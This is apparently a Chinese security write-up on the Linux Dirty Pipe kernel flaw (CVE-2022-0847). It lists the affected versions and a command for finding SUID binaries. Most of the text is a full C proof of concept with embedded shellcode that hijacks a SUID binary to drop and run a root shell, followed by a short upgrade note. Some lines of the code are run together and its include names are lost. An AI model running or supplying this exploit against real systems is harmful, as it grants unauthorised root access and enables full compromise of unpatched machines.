0x01 前言

    攻击者通过利用CVE-2022-0847-DirtyPipe漏洞，可覆盖重写任意可读文件中的数据，从而可将普通权限的用户提升到root权限。

0x02 漏洞影响

影响版本

5.8 <= Linux kernel < 5.16.11 / 5.15.25 / 5.10.102

安全版本

该漏洞已在Linux 5.16.11、5.15.25 和 5.10.102 中修复。

0x03 漏洞复现

先找一个具有SUID权限的可执行文件，进行提权

find / -user root -perm /4000 2>/dev/null

漏洞PoC：

// dirtypipez.c
#define _GNU_SOURCE#include #include #include #include #include #include #include #include 
#ifndef PAGE_SIZE#define PAGE_SIZE 4096#endif
// small (linux x86_64) ELF file matroshka doll that does;//   fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC);//   write(fd, elfcode, elfcode_len)//   chmod("/tmp/sh", 04755)//   close(fd);//   exit(0);//// the dropped ELF simply does://   setuid(0);//   setgid(0);//   execve("/bin/sh", ["/bin/sh", NULL], [NULL]);unsigned char elfcode[] = {  /*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,  0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,  0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,  0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,  0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,  0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,  0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,  0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,  0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,  0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,  0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,  0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,  0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,  0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,  0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,  0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,  0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,  0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,  0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,  0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,  0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00};
/** * Create a pipe where all "bufs" on the pipe_inode_info ring have the * PIPE_BUF_FLAG_CAN_MERGE flag set. */static void prepare_pipe(int p[2]){  if (pipe(p)) abort();
  const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);  static char buffer[4096];
  /* fill the pipe completely; each pipe_buffer will now have     the PIPE_BUF_FLAG_CAN_MERGE flag */  for (unsigned r = pipe_size; r > 0;) {    unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;    write(p[1], buffer, n);    r -= n;  }
  /* drain the pipe, freeing all pipe_buffer instances (but     leaving the flags initialized) */  for (unsigned r = pipe_size; r > 0;) {    unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;    read(p[0], buffer, n);    r -= n;  }
  /* the pipe is now empty, and if somebody adds a new     pipe_buffer without initializing its "flags", the buffer     will be mergeable */}
int hax(char *filename, long offset, uint8_t *data, size_t len) {  /* open the input file and validate the specified offset */  const int fd = open(filename, O_RDONLY); // yes, read-only! :-)  if (fd < 0) {    perror("open failed");    return -1;  }
  struct stat st;  if (fstat(fd, &st)) {    perror("stat failed");    return -1;  }
  /* create the pipe with all flags initialized with     PIPE_BUF_FLAG_CAN_MERGE */  int p[2];  prepare_pipe(p);
  /* splice one byte from before the specified offset into the     pipe; this will add a reference to the page cache, but     since copy_page_to_iter_pipe() does not initialize the     "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */  --offset;  ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);  if (nbytes < 0) {    perror("splice failed");    return -1;  }  if (nbytes == 0) {    fprintf(stderr, "short splice");    return -1;  }
  /* the following write will not create a new pipe_buffer, but     will instead write into the page cache, because of the     PIPE_BUF_FLAG_CAN_MERGE flag */  nbytes = write(p[1], data, len);  if (nbytes < 0) {    perror("write failed");    return -1;  }  if ((size_t)nbytes < len) {    fprintf(stderr, "short write");    return -1;  }
  close(fd);
  return 0;}
int main(int argc, char **argv) {  if (argc != 2) {    fprintf(stderr, "Usage: %s SUID", argv[0]);    return EXIT_FAILURE;  }
  char *path = argv[1];  uint8_t *data = elfcode;
  int fd = open(path, O_RDONLY);  uint8_t *orig_bytes = malloc(sizeof(elfcode));  lseek(fd, 1, SEEK_SET);  read(fd, orig_bytes, sizeof(elfcode));  close(fd);
  printf("[+] hijacking suid binary..");  if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) {    printf("[~] failed");    return EXIT_FAILURE;  }
  printf("[+] dropping suid shell..");  system(path);
  printf("[+] restoring suid binary..");  if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) {    printf("[~] failed");    return EXIT_FAILURE;  }
  printf("[+] popping root shell.. (dont forget to clean up /tmp/sh ;))");  system("/tmp/sh");
  return EXIT_SUCCESS;}

0x04 修复建议

升级linux内核到安全版本：

Linux 内核 >= 5.16.11
Linux 内核 >= 5.15.25
Linux 内核 >= 5.10.102

0x05 参考链接

https://mp.weixin.qq.com/s?__biz=MzI1NTM4ODIxMw==&tempkey=MTE1NV9PVis1NU85cFZZQXVFYmZ1WTVkUlpsVGVvTGwwbndZX0lHUjM2dklaaXpieTFFeHlxblJkZkpzZmpSanRZRk1way1RRldoTkJlT1pNSlo2UmkwNzMzTVg2YUpvVjZSLTY4N0RKWGhPNUtSVGx2cE5rS2dxN1BXc1BtR2hpS2JwZFZMOFZNa0VveVdKMnYxUHlNN0xGS3lBd0hNUGRpRTFPRWc5aDRBfn4%3D&chksm=6a341e415d4397575012b4578d63c643957352ee896b255943cb5f52a6471389907b129d6b26#rdhttps://mp.weixin.qq.com/s/oMe3CbXpgfncq1qzXsHnHg